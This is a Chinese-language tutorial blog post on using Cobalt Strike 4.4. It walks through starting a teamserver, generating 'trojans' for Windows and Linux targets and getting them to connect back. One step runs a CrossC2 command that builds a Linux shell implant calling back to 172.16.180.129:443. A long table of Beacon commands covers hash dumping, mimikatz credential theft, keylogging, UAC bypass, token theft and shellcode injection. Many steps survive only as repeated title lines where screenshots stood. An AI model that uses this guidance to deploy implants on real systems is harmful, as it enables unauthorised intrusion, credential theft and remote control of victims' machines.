【原创】CobaltStrike4.4入门

admin 2023年1月2日16:20:56评论54 views字数 2405阅读8分1秒阅读模式

此环境建议在kali搭建,用kali做服务器,win7做启动装置,注意:两个机子能互相ping得通

启动

把cs文件移入kali并给所有文件最高权限

【原创】CobaltStrike4.4入门

启动服务,ip为服务器ip也就是kali的ip,1234是登录密码,自己随便设置

./teamserver 172.16.180.129 1234
【原创】CobaltStrike4.4入门

这样就算启动成功

再把cs文件和插件移入win7

直接点击这个图标即可启动

【原创】CobaltStrike4.4入门
【原创】CobaltStrike4.4入门
【原创】CobaltStrike4.4入门

安装插件

【原创】CobaltStrike4.4入门
【原创】CobaltStrike4.4入门
【原创】CobaltStrike4.4入门
【原创】CobaltStrike4.4入门

这样即为安装成功

生成木马及攻击

【原创】CobaltStrike4.4入门

上线后常用命令

Beacon Commands
===============

    Command                   Description
    -------                   -----------
    argue                     进程参数欺骗
    blockdlls                 在子进程中阻止非Microsoft的DLLs文件
    browserpivot              注入受害者浏览器进程
    bypassuac                 绕过UAC
    cancel                    取消正在进行的下载
    cd                        切换目录
    checkin                   强制让被控端回连一次
    clear                     清除beacon内部的任务队列
    connect                   通过TCP连接到Beacon
    covertvpn                 部署Covert VPN客户端
    cp                        复制文件
    dcsync                    从DC中提取密码哈希
    desktop                   远程VNC
    dllinject                 反射DLL注入进程
    dllload                   使用LoadLibrary将DLL加载到进程中
    download                  下载文件
    downloads                 列出正在进行的文件下载
    drives                    列出目标盘符
    elevate                   尝试提权
    execute                   在目标上执行程序(无输出)
    execute-assembly          在目标上内存中执行本地.NET程序
    exit                      退出beacon
    getprivs                  对当前令牌启用系统权限
    getsystem                 尝试获取SYSTEM权限
    getuid                    获取用户ID
    hashdump                  转储密码哈希值
    help                      帮助
    inject                    在特定进程中生成会话
    jobkill                   杀死一个后台任务
    jobs                      列出后台任务
    kerberos_ccache_use       从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge     清除当前会话的票据
    kerberos_ticket_use       从ticket文件中导入票据应用于此会话
    keylogger                 键盘记录
    kill                      结束进程
    link                      通过命名管道连接到Beacon
    logonpasswords            使用mimikatz转储凭据和哈希值
    ls                        列出文件
    make_token                创建令牌以传递凭据
    mimikatz                  运行mimikatz
    mkdir                     创建一个目录
    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
    mode http                 使用HTTP作为通信通道
    mv                        移动文件
    net                       net命令
    note                      给当前目标机器备注       
    portscan                  进行端口扫描
    powerpick                 通过Unmanaged PowerShell执行命令
    powershell                通过powershell.exe执行命令
    powershell-import         导入powershell脚本
    ppid                      为生成的post-ex任务设置父PID
    ps                        显示进程列表
    psexec                    使用服务在主机上生成会话
    psexec_psh                使用PowerShell在主机上生成会话
    psinject                  在特定进程中执行PowerShell命令
    pth                       使用Mimikatz进行传递哈希
    pwd                       当前目录位置
    reg                       查询注册表
    rev2self                  恢复原始令牌
    rm                        删除文件或文件夹
    rportfwd                  端口转发
    run                       在目标上执行程序(返回输出)
    runas                     以另一个用户权限执行程序
    runasadmin                在高权限下执行程序
    runu                      在另一个PID下执行程序
    screenshot                屏幕截图
    setenv                    设置环境变量
    shell                     cmd执行命令
    shinject                  将shellcode注入进程
    shspawn                   生成进程并将shellcode注入其中
    sleep                     设置睡眠延迟时间
    socks                     启动SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     生成一个会话 
    spawnas                   以其他用户身份生成会话
    spawnto                   将可执行程序注入进程
    spawnu                    在另一个PID下生成会话
    ssh                       使用ssh连接远程主机
    ssh-key                   使用密钥连接远程主机
    steal_token               从进程中窃取令牌
    timestomp                 将一个文件时间戳应用到另一个文件
    unlink                    断开与Beacon的连接
    upload                    上传文件
    wdigest                   使用mimikatz转储明文凭据
    winrm                     使用WinRM在主机上生成会话
    wmi                       使用WMI在主机上生成会话

上线windows系统

新建监听

【原创】CobaltStrike4.4入门
【原创】CobaltStrike4.4入门
【原创】CobaltStrike4.4入门
【原创】CobaltStrike4.4入门

把生成的木马移到目标机即可上线

【原创】CobaltStrike4.4入门

右键进入命令模式

【原创】CobaltStrike4.4入门

输入sleep 0,把延迟改为0

输入shell后接cmd命令即可执行cmd命令

【原创】CobaltStrike4.4入门

上线linux系统

这里要借助CrossC2这个工具,插件不好用,建议别用

地址:https://github.com/gloxec/CrossC2/releases

【原创】CobaltStrike4.4入门

只需下载这三个即可,对应的是攻击机而不是目标机

需要在服务器上找到.cobaltstrike.beacon_keys这个文件

【原创】CobaltStrike4.4入门

使用cp拷贝到桌面,因为linux不显示隐藏文件所以还需要用mv更改文件名,随便改一个正常文件即可,然后移动到win7里再加上原文件名

cp .cobaltstrike.beacon_keys /home/huayang/桌面
mv .cobaltstrike.beacon_keys 123

把文件放在CrossC2文件下,要.cobaltstrike.beacon_keys和genCrossC2.win.exe同文件下

genCrossC2.win.exe 172.16.180.129 443 null null Linux x64 shell

在当前文件会生成一个shell的木马,上传到目标机运行即可上线

cs设置必须要https

【原创】CobaltStrike4.4入门
【原创】CobaltStrike4.4入门

FROM:浅浅淡淡[hellohy]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月2日16:20:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】CobaltStrike4.4入门http://cn-sec.com/archives/1493935.html

发表评论

匿名网友 填写信息